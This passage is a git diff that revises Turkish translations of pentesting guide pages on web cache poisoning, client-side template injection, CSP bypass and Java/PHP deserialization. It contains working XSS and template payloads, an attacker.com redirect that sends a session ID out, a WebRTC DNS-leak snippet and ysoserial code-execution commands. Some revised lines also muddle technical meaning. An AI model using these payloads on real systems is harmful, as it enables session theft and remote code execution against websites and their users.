**test edin** ve çalışıp çalışmadığını kontrol edin. +Bir isteği önbelleğe alırken, kullandığınız başlıklarla **dikkatli olun** çünkü bazıları **beklenmedik şekilde** **anahtarlı** olarak kullanılabilir ve **kurbanın o aynı başlığı kullanması gerekecektir**. Her zaman **farklı tarayıcılarla** bir Cache Poisoning'i **test edin** ve çalışıp çalışmadığını kontrol edin. ## Sömürü Örnekleri @@ -64,7 +64,7 @@ Bir isteği önbelleğe alırken, kullandığınız başlıklarla **dikkatli olu `X-Forwarded-For` gibi bir başlık, yanıt içinde temizlenmeden yansıtılıyor.\ Temel bir XSS yükü gönderebilir ve önbelleği zehirleyerek sayfaya erişen herkesin XSS olmasını sağlayabilirsiniz: -```markup +```html GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" @@ -80,7 +80,7 @@ cache-poisoning-to-dos.md ### Çerez işleme zafiyetlerini istismar etmek için web önbellek zehirlemesi kullanma Çerezler, bir sayfanın yanıtında da yansıtılabilir. Eğer bunu bir XSS oluşturmak için kötüye kullanabilirseniz, kötü niyetli önbellek yanıtını yükleyen birkaç istemcide XSS'i istismar edebilirsiniz. -```markup +```html GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" @@ -108,7 +108,7 @@ cache-poisoning-via-url-discrepancies.md ### Web önbellek zehirleme zafiyetlerini istismar etmek için birden fazla başlık kullanma Bazen bir önbelleği istismar edebilmek için **birden fazla anahtarsız girişi** **istismar etmeniz** gerekecektir. Örneğin, `X-Forwarded-Host` başlığını sizin kontrolünüzdeki bir alan adına ve `X-Forwarded-Scheme` başlığını `http` olarak ayarlarsanız bir **Açık yönlendirme** bulabilirsiniz. **Eğer** **sunucu** tüm **HTTP** isteklerini **HTTPS**'ye **yönlendiriyorsa** ve `X-Forwarded-Scheme` başlığını yönlendirme için alan adı olarak kullanıyorsa, yönlendirme ile sayfanın nereye yönlendirileceğini kontrol edebilirsiniz. -```markup +```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ @@ -117,7 +117,7 @@ X-Forwarded-Scheme: http ### Sınırlı `Vary` başlığı ile istismar Eğer **`X-Host`** başlığının **JS kaynağını yüklemek için alan adı olarak** kullanıldığını ve yanıtın **`Vary`** başlığının **`User-Agent`** belirttiğini bulduysanız, o zaman kurbanın User-Agent'ını dışarı sızdırmanın ve bu kullanıcı ajanını kullanarak önbelleği zehirlemenin bir yolunu bulmalısınız: -```markup +```html GET / HTTP/1.1 Host: vulnerbale.net User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM @@ -125,7 +125,7 @@ X-Host: attacker.com ``` ### Fat Get -URL'deki ve gövdedeki isteği içeren bir GET isteği gönderin. Eğer web sunucusu gövdedekini kullanıyorsa ama önbellek sunucusu URL'dekini önbelleğe alıyorsa, o URL'yi erişen herkes aslında gövdedeki parametreyi kullanacaktır. James Kettle'ın Github web sitesinde bulduğu zafiyet gibi: +URL'deki isteği ve gövdedeki isteği içeren bir GET isteği gönderin. Eğer web sunucusu gövdedekini kullanıyorsa ama önbellek sunucusu URL'dekini önbelleğe alıyorsa, o URL'ye erişen herkes aslında gövdedeki parametreyi kullanacaktır. James Kettle'ın Github web sitesinde bulduğu zafiyet gibi: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -138,7 +138,7 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web ### Parametre Gizleme -Örneğin, ruby sunucularında **parametreleri** **`&`** yerine **`;`** karakteri kullanarak ayırmak mümkündür. Bu, anahtarsız parametre değerlerini anahtarlı olanların içine yerleştirmek ve bunları kötüye kullanmak için kullanılabilir. +Örneğin, ruby sunucularında **parametreleri** **`;`** karakteri kullanarak **`&`** yerine ayırmak mümkündür. Bu, anahtarsız parametre değerlerini anahtarlı olanların içine yerleştirmek ve bunları kötüye kullanmak için kullanılabilir. Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) @@ -168,7 +168,7 @@ GitLab, statik içeriği depolamak için GCP bucket'larını kullanır. **GCP Bu ### Rack Middleware (Ruby on Rails) -Ruby on Rails uygulamalarında, Rack middleware sıklıkla kullanılmaktadır. Rack kodunun amacı, **`x-forwarded-scheme`** başlığının değerini almak ve bunu isteğin şeması olarak ayarlamaktır. `x-forwarded-scheme: http` başlığı gönderildiğinde, aynı konuma 301 yönlendirmesi gerçekleşir ve bu, o kaynağa bir Hizmet Reddi (DoS) neden olabilir. Ayrıca, uygulama `X-forwarded-host` başlığını tanıyabilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, bir saldırganın sunucusundan JavaScript dosyalarının yüklenmesine yol açarak güvenlik riski oluşturabilir. +Ruby on Rails uygulamalarında, genellikle Rack middleware kullanılır. Rack kodunun amacı, **`x-forwarded-scheme`** başlığının değerini almak ve bunu isteğin şeması olarak ayarlamaktır. `x-forwarded-scheme: http` başlığı gönderildiğinde, aynı konuma 301 yönlendirmesi gerçekleşir ve bu, o kaynağa bir Hizmet Reddi (DoS) neden olabilir. Ayrıca, uygulama `X-forwarded-host` başlığını tanıyabilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, bir saldırganın sunucusundan JavaScript dosyalarının yüklenmesine yol açarak güvenlik riski oluşturabilir. ### 403 ve Depolama Bucket'ları @@ -176,7 +176,7 @@ Cloudflare daha önce 403 yanıtlarını önbelleğe alıyordu. Yanlış Yetkile ### Anahtarlı Parametreleri Enjekte Etme -Önbellekler genellikle önbellek anahtarında belirli GET parametrelerini içerir. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe alıyordu. Ancak, parametrenin URL kodlu bir versiyonu (örneğin, `siz%65`) hatalı bir değerle gönderildiğinde, önbellek anahtarı doğru `size` parametresi kullanılarak oluşturuluyordu. Yine de, arka uç URL kodlu parametredeki değeri işliyordu. İkinci `size` parametresinin URL kodlaması, önbellek tarafından atılmasına neden oldu ancak arka uç tarafından kullanıldı. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Bad Request hatası ile sonuçlandı. +Önbellekler genellikle önbellek anahtarında belirli GET parametrelerini içerir. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe alıyordu. Ancak, parametrenin URL kodlamalı bir versiyonu (örneğin, `siz%65`) hatalı bir değerle gönderildiğinde, önbellek anahtarı doğru `size` parametresi kullanılarak oluşturuluyordu. Yine de, arka uç URL kodlamalı parametredeki değeri işliyordu. İkinci `size` parametresinin URL kodlaması, önbellek tarafından atılmasına neden oldu ancak arka uç tarafından kullanıldı. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Bad Request hatasına yol açtı. ### Kullanıcı Aracı Kuralları @@ -192,9 +192,9 @@ Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi y ## Önbellek Aldatmacası -Önbellek Aldatmacası'nın amacı, istemcilerin **önbellek tarafından hassas bilgileri ile birlikte kaydedilecek kaynakları yüklemelerini sağlamaktır**. +Önbellek Aldatmacası'nın amacı, istemcilerin **önbellek tarafından kaydedilecek kaynakları hassas bilgileriyle yüklemelerini sağlamaktır**. -Öncelikle, **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe** **kaydedilmek** üzere **yapılandırıldığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js` adresine erişirseniz, önbellek muhtemelen yanıtı kaydedecektir çünkü `.js` **uzantısını** görmektedir. Ancak, eğer **uygulama**, _www.example.com/profile.php_ içinde saklanan **hassas** kullanıcı içerikleri ile **tekrar** yanıt veriyorsa, diğer kullanıcılardan bu içerikleri **çalmış** olursunuz. +Öncelikle, **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe** **kaydedilmek** üzere **yapılandırıldığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js` adresine erişirseniz, önbellek muhtemelen yanıtı kaydedecektir çünkü `.js` **uzantısını** görmektedir. Ancak, eğer **uygulama**, _www.example.com/profile.php_ içinde saklanan **hassas** kullanıcı içerikleriyle **tekrar oynuyorsa**, bu içerikleri diğer kullanıcılardan **çalmış** olursunuz. Test edilecek diğer şeyler: @@ -203,19 +203,19 @@ Test edilecek diğer şeyler: - _www.example.com/profile.php/test.js_ - _www.example.com/profile.php/../test.js_ - _www.example.com/profile.php/%2e%2e/test.js_ -- _Daha az bilinen uzantılar kullanın, örneğin_ `.avif` +- _Daha az bilinen uzantıları kullanın, örneğin_ `.avif` Başka çok net bir örnek bu yazıda bulunabilir: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ Örnekte, _http://www.example.com/home.php/non-existent.css_ gibi var olmayan bir sayfayı yüklediğinizde, _http://www.example.com/home.php_ (**kullanıcının hassas bilgileriyle**) içeriğin döneceği ve önbellek sunucusunun sonucu kaydedeceği açıklanmaktadır.\ Daha sonra, **saldırgan**, kendi tarayıcısında _http://www.example.com/home.php/non-existent.css_ adresine erişebilir ve daha önce erişen kullanıcıların **gizli bilgilerini** gözlemleyebilir. -**Önbellek proxy'sinin**, dosyaları **uzantıya** göre **önbelleğe** **kaydetmek** üzere **yapılandırılması** gerektiğini unutmayın (_ .css_) ve içerik türüne göre değil. Örneğin, _http://www.example.com/home.php/non-existent.css_ adresinin `text/html` içerik türü yerine `text/css` mime türüne sahip olması beklenir (bu, bir _.css_ dosyası için beklenendir). +**Önbellek proxy'sinin**, dosyaları **uzantıya** (_css_) göre **önbelleğe** **alacak** şekilde **yapılandırılması** gerektiğini unutmayın ve içerik türüne göre değil. Örneğin, _http://www.example.com/home.php/non-existent.css_ adresinin `text/html` içerik türü olacak, bu da bir _.css_ dosyası için beklenen `text/css` mime türü değildir. -[Cache Deceptions saldırılarını HTTP İstek Kaçırma ile nasıl gerçekleştireceğinizi](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception) burada öğrenin. +[Cache Deceptions saldırılarını HTTP İstek Kaçırma ile kötüye kullanarak nasıl gerçekleştireceğinizi](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception) burada öğrenin. ## Otomatik Araçlar -- [**toxicache**](https://github.com/xhzeem/toxicache): Bir URL listesinde web cache zehirlenmesi açıklarını bulmak ve birden fazla enjeksiyon tekniğini test etmek için Golang tarayıcı. +- [**toxicache**](https://github.com/xhzeem/toxicache): Bir URL listesinde web cache zehirlenmesi açıklarını bulmak ve birden fazla enjeksiyon tekniğini test etmek için Golang tarayıcısı. ## Referanslar diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index d43c6c6d3..f92982a31 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -4,9 +4,9 @@ ## Özet -Bu, **Sunucu Tarafı Şablon Enjeksiyonu** ([**Server Side Template Injection**](ssti-server-side-template-injection/index.html)) gibidir, ancak **istemci** tarafında. **SSTI**, uzaktaki sunucuda **kod çalıştırmanıza** izin verebilir, **CSTI** ise kurbanın tarayıcısında **rastgele JavaScript** kodu çalıştırmanıza izin verebilir. +Bu, **Sunucu Tarafı Şablon Enjeksiyonu** (SSTI) gibidir, ancak **istemci** tarafındadır. **SSTI**, uzaktaki sunucuda **kod çalıştırmanıza** izin verebilir, **CSTI** ise kurbanın tarayıcısında **rastgele JavaScript** kodu çalıştırmanıza izin verebilir. -Bu güvenlik açığını **test etmek**, **SSTI** durumunda olduğu gibi çok **benzer**dir, yorumlayıcı **bir şablon** bekler ve bunu çalıştırır. Örneğin, `{{ 7-7 }}` gibi bir yük ile, uygulama **açık** ise `0` göreceksiniz, değilse orijinalini: `{{ 7-7 }}` göreceksiniz. +Bu zafiyeti **test etmek**, **SSTI** durumunda olduğu gibi çok **benzer**dir, yorumlayıcı **bir şablon** bekler ve bunu çalıştırır. Örneğin, `{{ 7-7 }}` gibi bir yük ile, uygulama **zayıfsa** `0` göreceksiniz, değilse orijinalini göreceksiniz: `{{ 7-7 }}` ## AngularJS @@ -23,7 +23,7 @@ Kullanıcı girdisinin `ng-app` ile etiketlenmiş HTML gövdesine dinamik olarak ``` Bir **temel çevrimiçi örneği** **AngularJS**'deki zafiyetin [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) ve [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) adresinde bulabilirsiniz. -> [!CAUTION] > [**Angular 1.6 kum havuzunu kaldırdı**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html), bu nedenle bu versiyondan itibaren `{{constructor.constructor('alert(1)')()}}` veya `` gibi bir yük çalışmalıdır. +> [!CAUTION] > [**Angular 1.6 kum havuzunu kaldırdı**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) bu nedenle bu versiyondan itibaren `{{constructor.constructor('alert(1)')()}}` veya `` gibi bir yük çalışmalıdır. ## VueJS @@ -31,7 +31,7 @@ Bir **temel çevrimiçi örneği** **AngularJS**'deki zafiyetin [http://jsfiddle Çalışan yük: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`]() Ve zayıf örneğin **kaynak kodu** burada: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example) -```markup +```html ">
aaa
``` diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 29082bb2e..52f14047a 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -4,7 +4,7 @@ ## CSP Nedir -Content Security Policy (CSP), esasen **cross-site scripting (XSS)** gibi saldırılara karşı koruma sağlamak amacıyla tanınan bir tarayıcı teknolojisidir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika, aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına izin verebilir; bu, inline kaynakları ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla string kodunun çalıştırılmasını içerir. +Content Security Policy (CSP), esasen **cross-site scripting (XSS)** gibi saldırılara karşı koruma sağlamak amacıyla tanınan bir tarayıcı teknolojisidir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika, aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına izin verebilir; bu, satır içi kaynakları ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla dize kodunun çalıştırılmasını içerir. CSP'nin uygulanması, **yanıt başlıkları** aracılığıyla veya **HTML sayfasına meta öğeleri ekleyerek** gerçekleştirilir. Bu politikayı izleyen tarayıcılar, bu şartları proaktif bir şekilde uygular ve tespit edilen ihlalleri hemen engeller. @@ -25,7 +25,7 @@ CSP bu başlıklar kullanılarak uygulanabilir veya izlenebilir: ### Defining Resources -CSP, hem aktif hem de pasif içeriğin yüklenmesi için kökenleri kısıtlar, inline JavaScript yürütmesi ve `eval()` kullanımı gibi yönleri kontrol eder. Bir örnek politika: +CSP, hem aktif hem de pasif içeriğin yüklenmesi için kaynakları kısıtlar, inline JavaScript yürütmesi ve `eval()` kullanımı gibi yönleri kontrol eder. Bir örnek politika: ```bash default-src 'none'; img-src 'self'; @@ -45,15 +45,15 @@ object-src 'none'; - **connect-src**: fetch, WebSocket, XMLHttpRequest gibi arayüzler kullanılarak yüklenebilecek URL'leri kısıtlar. - **frame-src**: Çerçeveler için URL'leri kısıtlar. - **frame-ancestors**: Geçerli sayfayı gömebilecek kaynakları belirtir, ``, ` // The bot will load an URL with the payload @@ -540,15 +540,15 @@ console.log(prefix) run() ``` -### Via Bookmarklets +### Yer İmleri Aracılığıyla Bu saldırı, saldırganın **kullanıcıyı tarayıcının yer imi üzerine bir bağlantıyı sürükleyip bırakmaya ikna etmesi** anlamına gelir. Bu yer imi, **kötü niyetli javascript** kodu içerecek ve sürüklenip bırakıldığında veya tıklandığında mevcut web penceresinin bağlamında çalıştırılacak, **CSP'yi atlayarak çerezler veya tokenlar gibi hassas bilgileri çalmaya** olanak tanıyacaktır. Daha fazla bilgi için [**orijinal raporu buradan kontrol edin**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). -### CSP'yi kısıtlayarak CSP atlatma +### CSP'yi Kısıtlayarak CSP'yi Atlamak -[**bu CTF yazımında**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek atlatılmaktadır; bu CSP, belirli bir JS dosyasının yüklenmesine izin vermemekte ve ardından **prototip kirlenmesi** veya **DOM clobbering** yoluyla **farklı bir scriptin rastgele bir script yüklemesine** olanak tanımaktadır. +[**bu CTF yazımında**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek atlanmaktadır; bu CSP, belirli bir JS dosyasının yüklenmesine izin vermemekte ve ardından **prototip kirlenmesi** veya **dom clobbering** yoluyla **farklı bir scriptin rastgele bir script yüklemesine** olanak tanımaktadır. Bir Iframe'in **CSP'sini** **`csp`** niteliği ile **kısıtlayabilirsiniz**: ```html @@ -568,7 +568,7 @@ content="script-src 'self' ``` ### JS exfiltrasyonu ile Content-Security-Policy-Report-Only -Eğer sunucunun **`Content-Security-Policy-Report-Only`** başlığı ile **kontrol ettiğiniz bir değer** ile yanıt vermesini sağlayabilirseniz (belki bir CRLF nedeniyle), bunu kendi sunucunuza yönlendirebilirsiniz ve eğer **sızdırmak istediğiniz** **JS içeriğini** **`` içine **gömerek** kullanabilir; bu **script** **'self' tarafından izin verildiği için** **yüklenmiş** olacaktır. Ayrıca, WordPress yüklü olduğu için, bir saldırgan, bir kullanıcıya daha fazla ayrıcalık vermek, yeni bir eklenti yüklemek için **CSP'yi atlayan** **savunmasız** **callback** uç noktası aracılığıyla **SOME saldırısını** istismar edebilir...\ -Bu saldırıyı nasıl gerçekleştireceğiniz hakkında daha fazla bilgi için [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) +Bu saldırıyı nasıl gerçekleştireceğiniz hakkında daha fazla bilgi için [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) adresini kontrol edin. ## CSP Exfiltration Bypasses -Eğer dış sunucularla **etkileşimde bulunmanıza** izin vermeyen katı bir CSP varsa, bilgileri dışarıya çıkarmak için her zaman yapabileceğiniz bazı şeyler vardır. +Eğer dış sunucularla **etkileşimde bulunmanıza** izin vermeyen katı bir CSP varsa, bilgileri dışarı aktarmak için her zaman yapabileceğiniz bazı şeyler vardır. ### Location @@ -643,7 +643,7 @@ document.location = "https://attacker.com/?" + sessionid ``` ### Meta etiketi -Bir meta etiketi enjekte ederek yönlendirme yapabilirsiniz (bu sadece bir yönlendirmedir, içerik sızdırmaz) +Bir meta etiketi enjekte ederek yönlendirme yapabilirsiniz (bu sadece bir yönlendirmedir, bu içerik sızdırmaz) ```html ``` @@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off Birçok sayfada **WebRTC'nin CSP'nin `connect-src` politikasını kontrol etmediğini** okuyabilirsiniz. -Aslında, bir _DNS isteği_ kullanarak bilgiler _sızdırabilirsiniz_. Bu koda bir göz atın: +Aslında, bir _DNS isteği_ kullanarak bilgiler _sızdırabilirsiniz_. Bu koda göz atın: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index ece3e32bd..259bac3ef 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -4,9 +4,9 @@ ## Temel Bilgiler -**Serialization**, bir nesneyi saklanabilir bir formata dönüştürme yöntemi olarak anlaşılır; bu, nesneyi depolama veya bir iletişim sürecinin parçası olarak iletme amacı taşır. Bu teknik, nesnenin daha sonra yeniden oluşturulabilmesini sağlamak için yaygın olarak kullanılır ve yapısını ve durumunu korur. +**Serialization**, bir nesneyi saklanabilir bir formata dönüştürme yöntemi olarak anlaşılmaktadır; bu, nesneyi depolama veya bir iletişim sürecinin parçası olarak iletme amacı taşır. Bu teknik, nesnenin daha sonra yeniden oluşturulabilmesini sağlamak için yaygın olarak kullanılır ve yapısını ve durumunu korur. -**Deserialization** ise, tersine, serileştirmeyi etkisiz hale getiren bir süreçtir. Belirli bir formatta yapılandırılmış verileri almayı ve bunları tekrar bir nesne haline getirmeyi içerir. +**Deserialization** ise, tersine, serileştirmeyi etkisiz hale getiren bir süreçtir. Belirli bir formatta yapılandırılmış verileri alıp, tekrar bir nesne haline getirmeyi içerir. Deserialization tehlikeli olabilir çünkü potansiyel olarak **saldırganların serileştirilmiş verileri manipüle ederek zararlı kod çalıştırmalarına** veya nesne yeniden yapılandırma sürecinde uygulamada beklenmedik davranışlar yaratmalarına olanak tanır. @@ -18,7 +18,7 @@ PHP'de, serileştirme ve deserialization süreçlerinde belirli sihirli yönteml - `__wakeup`: Bir nesne deserialized edilirken çağrılır. Serileştirme sırasında kaybolmuş olabilecek veritabanı bağlantılarını yeniden kurmak ve diğer yeniden başlatma görevlerini yerine getirmek için kullanılır. - `__unserialize`: Bu yöntem, bir nesne deserialized edilirken `__wakeup` yerine çağrılır (varsa). Deserialization süreci üzerinde `__wakeup`'a kıyasla daha fazla kontrol sağlar. - `__destruct`: Bu yöntem, bir nesne yok edilmek üzereyken veya script sona erdiğinde çağrılır. Genellikle dosya tanıtıcılarını veya veritabanı bağlantılarını kapatmak gibi temizlik görevleri için kullanılır. -- `__toString`: Bu yöntem, bir nesnenin bir dize olarak muamele görmesini sağlar. Bir dosyayı okumak veya içindeki işlev çağrılarına dayalı diğer görevler için kullanılabilir ve nesnenin metinsel bir temsilini etkili bir şekilde sağlar. +- `__toString`: Bu yöntem, bir nesnenin bir string olarak işlenmesine olanak tanır. Bir dosyayı okumak veya içindeki işlev çağrılarına dayalı diğer görevler için kullanılabilir ve nesnenin metinsel bir temsilini sağlar. ```php */ ?> ``` -Eğer sonuçlara bakarsanız, nesne serileştirildiğinde **`__wakeup`** ve **`__destruct`** fonksiyonlarının çağrıldığını görebilirsiniz. Birçok eğitimde **`__toString`** fonksiyonunun bazı özellikleri yazdırmaya çalışırken çağrıldığını göreceksiniz, ancak görünüşe göre bu **artık olmuyor**. +Eğer sonuçlara bakarsanız, **`__wakeup`** ve **`__destruct`** fonksiyonlarının nesne serileştirildiğinde çağrıldığını görebilirsiniz. Birçok eğitimde **`__toString`** fonksiyonunun bazı özellikleri yazdırmaya çalışırken çağrıldığını göreceksiniz, ancak görünüşe göre bu **artık olmuyor**. > [!WARNING] > Eğer sınıfta uygulanmışsa, **`__unserialize(array $data)`** metodu **`__wakeup()`** yerine çağrılır. Bu, serileştirilmiş veriyi bir dizi olarak sağlayarak nesneyi serileştirmeye olanak tanır. Bu metodu, özellikleri serileştirmek ve serileştirme sırasında gerekli görevleri yerine getirmek için kullanabilirsiniz. @@ -102,7 +102,7 @@ php-deserialization-+-autoload-classes.md ### Referans Değerleri Serileştirme -Herhangi bir nedenle bir değeri **başka bir serileştirilmiş değere referans olarak** serileştirmek isterseniz: +Eğer bir nedenle bir değeri **başka bir serileştirilmiş değere referans olarak** serileştirmek istiyorsanız, bunu yapabilirsiniz: ```php payload @@ -430,9 +430,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb # Base64 encode payload in base64 base64 -w0 payload ``` -**java.lang.Runtime.exec()** için bir payload oluştururken, bir yürütmenin çıktısını yönlendirmek için ">" veya "|" gibi **özel karakterler** kullanamazsınız, komutları yürütmek için "$()" kullanamazsınız veya bir komuta **boşluklarla** ayrılmış **argümanlar** bile geçiremezsiniz ( `echo -n "hello world"` yapabilirsiniz ama `python2 -c 'print "Hello world"'` yapamazsınız). Payload'ı doğru bir şekilde kodlamak için [bu web sayfasını](http://www.jackson-t.ca/runtime-exec-payloads.html) kullanabilirsiniz. +Bir **java.lang.Runtime.exec()** yükü oluştururken, bir yürütmenin çıktısını yönlendirmek için ">" veya "|" gibi **özel karakterler** kullanamazsınız, komutları yürütmek için "$()" kullanamazsınız veya bir komuta **boşluklarla** ayrılmış **argümanlar** bile geçiremezsiniz ( `echo -n "hello world"` yapabilirsiniz ama `python2 -c 'print "Hello world"'` yapamazsınız). Yükü doğru bir şekilde kodlamak için [bu web sayfasını](http://www.jackson-t.ca/runtime-exec-payloads.html) kullanabilirsiniz. -Windows ve Linux için **tüm olası kod yürütme** payload'larını oluşturmak ve ardından bunları savunmasız web sayfasında test etmek için aşağıdaki scripti kullanmaktan çekinmeyin: +Tüm **mümkün olan kod yürütme** yüklerini Windows ve Linux için oluşturmak ve ardından bunları savunmasız web sayfasında test etmek için aşağıdaki betiği kullanmaktan çekinmeyin: ```python import os import base64 @@ -455,13 +455,13 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local') ``` #### serialkillerbypassgadgets -**Daha fazla exploit oluşturmak için** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **ve ysoserial'i kullanabilirsiniz**. Bu aracın daha fazla bilgisi, aracın sunulduğu **konuşmanın slaytlarında** bulunmaktadır: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) +You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **along with ysoserial to create more exploits**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) #### marshalsec -[**marshalsec** ](https://github.com/mbechler/marshalsec), Java'daki farklı **Json** ve **Yml** serileştirme kütüphanelerini istismar etmek için yükler oluşturmak üzere kullanılabilir.\ +[**marshalsec** ](https://github.com/mbechler/marshalsec) farklı **Json** ve **Yml** serileştirme kütüphanelerini istismar etmek için yükler oluşturmak üzere kullanılabilir.\ Projeyi derlemek için `pom.xml` dosyasına bu **bağımlılıkları** **eklemem** gerekti: -```markup +```html javax.activation activation @@ -475,7 +475,7 @@ Projeyi derlemek için `pom.xml` dosyasına bu **bağımlılıkları** **eklemem pom ``` -**Maven'ı kurun** ve **projeyi derleyin**: +**Maven'ı yükleyin** ve **projeyi derleyin**: ```bash sudo apt-get install maven mvn clean package -DskipTests @@ -484,7 +484,7 @@ mvn clean package -DskipTests Bu Java JSON kütüphanesi hakkında daha fazla bilgi edinin: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) -### Laboratuvarlar +### Labs - Bazı ysoserial payload'larını test etmek istiyorsanız **bu web uygulamasını çalıştırabilirsiniz**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) - [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) @@ -503,7 +503,7 @@ Java, çeşitli amaçlar için çok fazla serileştirme kullanır: #### Geçici nesneler -`Serializable`'ı uygulayan bir sınıf, serileştirilemeyecek herhangi bir nesneyi sınıf içinde `transient` olarak işaretleyebilir. Örneğin: +`Serializable` arayüzünü uygulayan bir sınıf, serileştirilemeyecek herhangi bir nesneyi sınıf içinde `transient` olarak işaretleyebilir. Örneğin: ```java public class myAccount implements Serializable { @@ -512,7 +512,7 @@ private transient double margin; // declared transient ``` #### Serializable'ı Uygulaması Gereken Bir Sınıfın Serileştirilmesinden Kaçının -Belirli **nesnelerin sınıf hiyerarşisi nedeniyle `Serializable`** arayüzünü uygulaması gereken senaryolarda, istemeden serileştirme riski vardır. Bunu önlemek için, aşağıda gösterildiği gibi, sürekli bir istisna fırlatan `final` bir `readObject()` metodu tanımlayarak bu nesnelerin serileştirilemez olmasını sağlayın: +Belirli **nesnelerin sınıf hiyerarşisi nedeniyle `Serializable`** arayüzünü uygulaması gereken senaryolarda, istemeden deserialization riski vardır. Bunu önlemek için, aşağıda gösterildiği gibi, bu nesnelerin deserializable olmalarını sağlamak için sürekli bir istisna fırlatan `final` bir `readObject()` metodu tanımlayın: ```java private final void readObject(ObjectInputStream in) throws java.io.IOException { throw new java.io.IOException("Cannot be deserialized"); @@ -523,9 